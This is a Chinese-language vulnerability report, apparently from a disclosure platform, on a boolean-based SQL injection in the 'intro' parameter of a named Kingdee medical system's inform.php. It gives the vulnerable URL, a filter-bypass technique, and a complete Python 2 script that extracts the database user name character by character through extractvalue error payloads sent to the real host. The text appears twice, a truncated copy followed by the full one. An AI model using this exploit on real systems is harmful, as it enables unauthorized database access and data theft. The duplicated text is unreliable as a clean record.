### 简要描述: 金蝶某系统注入漏洞 截至2015年11月8日,该系统已发布的移动互联网**用户超130万人,交易次数超262万次 ### 详细说明: 金蝶医疗于2014年5月30日全国首创“移动互联网医院”并荣获CCTV《朝闻天下》及《新闻联播》两次专题报道,凭借最先进的产品实现方式、最安全的部署模式、最丰富的全流程优化经验、最专业的媒体宣传与运营推广、最极致的用户体验,截至2015年11月8日,已发布的移动互联网医院用户超130万人,交易次数超262万次,是移动互联网医院领航者与绝对领先者,具有不可比拟的绝对优势。 ``` http://yiliao.kingdee.com/inform.php?action=add&companyname=e&intro=1&email=a@b.com&name=1&position=1&tel=1 ``` 参数intro存在BOOL型注入漏洞 由于过滤了> < 这里我们可以用not between and 来注入。 附验证脚本: ``` #coding=utf-8 import sys,urllib2 from optparse import OptionParser from urllib2 import Request,urlopen,URLError,HTTPError import urllib result='' def request(URL,data): #print URL user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } req = urllib2.Request(URL, data, user_agent) try: request = urllib2.urlopen(req) except HTTPError, e: if e.code == 500: return 'Runtime Error' except URLError, e: #print('[!] We failed to reach a server.')...
### 简要描述: 金蝶某系统注入漏洞 截至2015年11月8日,该系统已发布的移动互联网**用户超130万人,交易次数超262万次 ### 详细说明: 金蝶医疗于2014年5月30日全国首创“移动互联网医院”并荣获CCTV《朝闻天下》及《新闻联播》两次专题报道,凭借最先进的产品实现方式、最安全的部署模式、最丰富的全流程优化经验、最专业的媒体宣传与运营推广、最极致的用户体验,截至2015年11月8日,已发布的移动互联网医院用户超130万人,交易次数超262万次,是移动互联网医院领航者与绝对领先者,具有不可比拟的绝对优势。 ``` http://yiliao.kingdee.com/inform.php?action=add&companyname=e&intro=1&email=a@b.com&name=1&position=1&tel=1 ``` 参数intro存在BOOL型注入漏洞 由于过滤了> < 这里我们可以用not between and 来注入。 附验证脚本: ``` #coding=utf-8 import sys,urllib2 from optparse import OptionParser from urllib2 import Request,urlopen,URLError,HTTPError import urllib result='' def request(URL,data): #print URL user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } req = urllib2.Request(URL, data, user_agent) try: request = urllib2.urlopen(req) except HTTPError, e: if e.code == 500: return 'Runtime Error' except URLError, e: #print('[!] We failed to reach a server.') #print('[!] Reason: ' + str(e.reason)) sys.exit(1) return request.read() def binary_sqli(left, right, index): global result while 1: mid = (left + right)/2 if (right-left==1): result += chr(right) print 'user: ' ,result break payload = "1'%%2bextractvalue(1,if(ascii(mid(user(),%s,1)) not between 0 and %s,1,0x22))%%2b'" % (index, mid) #print payload # payload="" html = request('http://yiliao.kingdee.com/inform.php?action=add&companyname=e&email=a@b.com&name=1&position=1&tel=1&intro='+payload,None) #print html verify = 'Error' if verify not in html: left = mid else: right = mid if __name__ == '__main__': for i in range(1,27): binary_sqli(32, 127, i) ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201512/020041256dd87170cb17cffef49a21a847ee66e3.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/020041256dd87170cb17cffef49a21a847ee66e3.png)